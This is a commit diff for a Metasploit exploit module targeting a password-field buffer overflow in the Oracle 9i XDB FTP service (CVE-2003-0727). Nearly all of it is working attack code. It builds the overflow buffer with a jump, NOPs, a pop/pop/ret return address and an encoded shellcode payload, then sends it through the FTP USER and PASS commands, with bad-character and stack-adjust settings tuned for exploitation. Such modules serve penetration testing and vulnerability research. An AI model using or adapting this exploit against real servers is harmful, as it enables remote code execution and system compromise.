updated.

git-svn-id: file:///home/svn/framework3/trunk@5292 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb

@@ -17,7 +17,6 @@ module Msf
 class Exploits::Windows::Ftp::Oracle9iXDPPassOverflow < Msf::Exploit::Remote
 	
 	include Exploit::Remote::Ftp
-	include Exploit::Remote::Seh
 
 	def initialize(info = {})
 		super(update_info(info,	
@@ -31,8 +30,8 @@ class Exploits::Windows::Ftp::Oracle9iXDPPassOverflow < Msf::Exploit::Remote
 				conference.
 					
 			},
-			'Author'         => [ 'y0 <y0[at]w00t-shell.net>' ],
-			'License'        => BSD_LICENSE,
+			'Author'         => [ 'MC' ],
+			'License'        => MSF_LICENSE,
 			'Version'        => '$Revision$',
 			'References'     =>
 				[
@@ -41,28 +40,34 @@ class Exploits::Windows::Ftp::Oracle9iXDPPassOverflow < Msf::Exploit::Remote
 					[ 'CVE', '2003-0727'],
 					[ 'URL', 'http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf'],
 					[ 'MIL', '48'],
-
 				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'thread',
+				},
 			'Privileged'     => true,
 			'Payload'        =>
 				{
 					'Space'    => 800,
-					'BadChars' => "\x00\x20\x0a\x0d",
-					'StackAdjustment' => -3500,
-
+					'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
+					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",	
 				},
-			'Targets'        => 
+			'Targets'        =>
 				[
-					[ 
+					[
 						'Oracle 9.2.0.1 Universal',
 						{
-							'Platform' => 'win',
-							'Ret'      => 0x60616d46, # oraclient9.dll (pop/pop/ret) 
+									'Platform' => 'win',
+									'Ret'      => 0x60616d46, # oraclient9.dll (pop/pop/ret)
 						},
 					],
 				],
 			'DisclosureDate' => 'Aug 18 2003',
 			'DefaultTarget' => 0))
+
+			register_options([Opt::RPORT(2100),], self.class)
+			deregister_options('FTPUSER', 'FTPPASS')
+
 	end
 
 	
@@ -77,16 +82,15 @@ class Exploits::Windows::Ftp::Oracle9iXDPPassOverflow < Msf::Exploit::Remote
 
 	def exploit
 		connect
-		
-		print_status("Trying target #{target.name}...")
-	
-		usr = rand_text_english(rand(8)+1, payload_badchars)
-		buf = rand_text_english(1292, payload_badchars)
-		seh = generate_seh_payload(target.ret) 
-		buf[442, seh.length] = seh
 
-		send_cmd( ['USER', usr], true )
-		send_cmd( ['PASS', buf], false )
+		user   = rand_text_alpha_upper(10)
+		sploit =  rand_text_alpha_upper(442) + Rex::Arch::X86.jmp_short(6) 
+		sploit << make_nops(2) + [target.ret].pack('V') + payload.encoded
+	
+		print_status("Trying target #{target.name}...")	
+	
+		send_cmd( ['USER', user], true )
+		send_cmd( ['PASS', sploit], false )
 		
 		handler
 		disconnect